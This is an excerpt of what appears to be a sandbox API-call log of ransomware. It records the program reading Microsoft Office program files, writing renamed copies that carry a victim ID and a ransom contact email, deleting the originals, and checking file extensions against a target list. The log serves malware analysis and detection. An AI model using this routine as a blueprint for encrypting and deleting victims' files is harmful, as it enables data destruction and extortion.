	[0167.253] lstrlenW (lpString="SPACE_01.MID") returned 12
	[0167.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.255] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=4219) returned 1
	[0167.255] CloseHandle (hObject=0x4d0) returned 1
	[0167.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220
	[0167.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.255] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.256] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.256] GetLastError () returned 0x0
	[0167.256] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x107b, lpOverlapped=0x0) returned 1
	[0167.258] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1080, lpOverlapped=0x0) returned 1
	[0167.261] ReadFile (in: hFile=0x4d0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.261] WriteFile (in: hFile=0x4b8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.262] SetEndOfFile (hFile=0x4b8) returned 1
	[0167.262] CloseHandle (hObject=0x4b8) returned 1
	[0167.262] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.262] SetEndOfFile (hFile=0x4d0) returned 1
	[0167.267] CloseHandle (hObject=0x4d0) returned 1
	[0167.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1
	[0167.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.268] lstrlenW (lpString=".doc") returned 4
	[0167.269] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.269] lstrlenW (lpString=".docx") returned 5
	[0167.269] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.269] lstrlenW (lpString=".pdf") returned 4
	[0167.269] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.269] lstrlenW (lpString=".xls") returned 4
	[0167.269] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.269] lstrlenW (lpString=".xlsx") returned 5
	[0167.269] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.269] lstrlenW (lpString=".ppt") returned 4
	[0167.269] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.269] lstrlenW (lpString=".zip") returned 4
	[0167.512] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.512] lstrlenW (lpString=".rar") returned 4
	[0167.512] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.512] lstrlenW (lpString=".bz2") returned 4
	[0167.512] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.512] lstrlenW (lpString=".7z") returned 3
	[0167.512] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.512] lstrlenW (lpString=".dbf") returned 4
	[0167.512] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.512] lstrlenW (lpString=".1cd") returned 4
	[0167.512] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.512] lstrlenW (lpString=".jpg") returned 4
	[0167.512] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.512] lstrlenW (lpString=".doc") returned 4
	[0167.512] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.512] lstrlenW (lpString=".docx") returned 5
	[0167.512] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.512] lstrlenW (lpString=".pdf") returned 4
	[0167.512] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.512] lstrlenW (lpString=".xls") returned 4
	[0167.512] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.512] lstrlenW (lpString=".xlsx") returned 5
	[0167.512] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.512] lstrlenW (lpString=".ppt") returned 4
	[0167.512] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.512] lstrlenW (lpString=".zip") returned 4
	[0167.512] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.512] lstrlenW (lpString=".rar") returned 4
	[0167.513] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.513] lstrlenW (lpString=".bz2") returned 4
	[0167.513] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.513] lstrlenW (lpString=".7z") returned 3
	[0167.513] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.513] lstrlenW (lpString=".dbf") returned 4
	[0167.513] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.513] lstrlenW (lpString=".1cd") returned 4
	[0167.513] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68
	[0167.513] lstrlenW (lpString=".jpg") returned 4
	[0167.513] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.513] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.513] lstrlenW (lpString="URBAN_01.MID") returned 12
	[0167.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.798] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=13358) returned 1
	[0167.798] CloseHandle (hObject=0x4d0) returned 1
	[0167.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220
	[0167.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.816] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.817] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.817] GetLastError () returned 0x0
	[0167.817] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x342e, lpOverlapped=0x0) returned 1
	[0167.819] WriteFile (in: hFile=0x3e0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x3430, lpOverlapped=0x0) returned 1
	[0167.820] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.820] WriteFile (in: hFile=0x3e0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.821] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.821] CloseHandle (hObject=0x3e0) returned 1
	[0167.821] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.821] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.824] CloseHandle (hObject=0x4cc) returned 1
	[0167.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1
	[0167.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.825] lstrlenW (lpString=".doc") returned 4
	[0167.825] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.825] lstrlenW (lpString=".docx") returned 5
	[0167.825] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.825] lstrlenW (lpString=".pdf") returned 4
	[0167.825] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.825] lstrlenW (lpString=".xls") returned 4
	[0167.825] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.825] lstrlenW (lpString=".xlsx") returned 5
	[0167.825] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.825] lstrlenW (lpString=".ppt") returned 4
	[0167.825] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.825] lstrlenW (lpString=".zip") returned 4
	[0167.825] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.826] lstrlenW (lpString=".rar") returned 4
	[0167.826] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.826] lstrlenW (lpString=".bz2") returned 4
	[0167.826] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.826] lstrlenW (lpString=".7z") returned 3
	[0167.826] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.826] lstrlenW (lpString=".dbf") returned 4
	[0167.826] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.826] lstrlenW (lpString=".1cd") returned 4
	[0167.826] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.826] lstrlenW (lpString=".jpg") returned 4
	[0167.826] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.826] lstrlenW (lpString=".doc") returned 4
	[0167.826] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.826] lstrlenW (lpString=".docx") returned 5
	[0167.826] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.826] lstrlenW (lpString=".pdf") returned 4
	[0167.826] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.826] lstrlenW (lpString=".xls") returned 4
	[0167.826] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.826] lstrlenW (lpString=".xlsx") returned 5
	[0167.826] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.826] lstrlenW (lpString=".ppt") returned 4
	[0167.826] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.826] lstrlenW (lpString=".zip") returned 4
	[0167.826] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.826] lstrlenW (lpString=".rar") returned 4
	[0167.826] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.826] lstrlenW (lpString=".bz2") returned 4
	[0167.827] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.827] lstrlenW (lpString=".7z") returned 3
	[0167.827] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.827] lstrlenW (lpString=".dbf") returned 4
	[0167.827] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.827] lstrlenW (lpString=".1cd") returned 4
	[0167.827] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0167.827] lstrlenW (lpString=".jpg") returned 4
	[0167.827] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.827] lstrcmpiW (lpString1=".eftx", lpString2=".Z9") returned -1
	[0167.827] lstrlenW (lpString="Frosted Glass.eftx") returned 18
	[0167.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.828] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=334131) returned 1
	[0167.828] CloseHandle (hObject=0x4cc) returned 1
	[0167.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220
	[0167.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0167.828] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.828] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.830] GetLastError () returned 0x0
	[0167.830] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x51933, lpOverlapped=0x0) returned 1
	[0167.843] WriteFile (in: hFile=0x3e0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x51940, lpOverlapped=0x0) returned 1
	[0167.849] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.849] WriteFile (in: hFile=0x3e0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0167.849] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.850] CloseHandle (hObject=0x3e0) returned 1
	[0167.850] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.850] SetEndOfFile (hFile=0x4cc) returned 1
	[0167.858] CloseHandle (hObject=0x4cc) returned 1
	[0167.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.860] lstrlenW (lpString=".doc") returned 4
	[0167.860] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString=".docx") returned 5
	[0167.860] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0167.860] lstrlenW (lpString=".pdf") returned 4
	[0167.860] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString=".xls") returned 4
	[0167.860] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString=".xlsx") returned 5
	[0167.860] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0167.860] lstrlenW (lpString=".ppt") returned 4
	[0167.860] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.860] lstrlenW (lpString=".zip") returned 4
	[0167.860] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString=".rar") returned 4
	[0167.860] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString=".bz2") returned 4
	[0167.860] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString=".7z") returned 3
	[0167.860] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.860] lstrlenW (lpString=".dbf") returned 4
	[0167.860] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.860] lstrlenW (lpString=".1cd") returned 4
	[0167.860] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.860] lstrlenW (lpString=".jpg") returned 4
	[0167.860] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.861] lstrlenW (lpString=".doc") returned 4
	[0167.861] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString=".docx") returned 5
	[0167.861] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0167.861] lstrlenW (lpString=".pdf") returned 4
	[0167.861] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString=".xls") returned 4
	[0167.861] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString=".xlsx") returned 5
	[0167.861] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0167.861] lstrlenW (lpString=".ppt") returned 4
	[0167.861] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.861] lstrlenW (lpString=".zip") returned 4
	[0167.861] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString=".rar") returned 4
	[0167.861] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString=".bz2") returned 4
	[0167.861] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString=".7z") returned 3
	[0167.861] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0167.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.861] lstrlenW (lpString=".dbf") returned 4
	[0167.861] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.861] lstrlenW (lpString=".1cd") returned 4
	[0167.861] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0167.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0167.861] lstrlenW (lpString=".jpg") returned 4
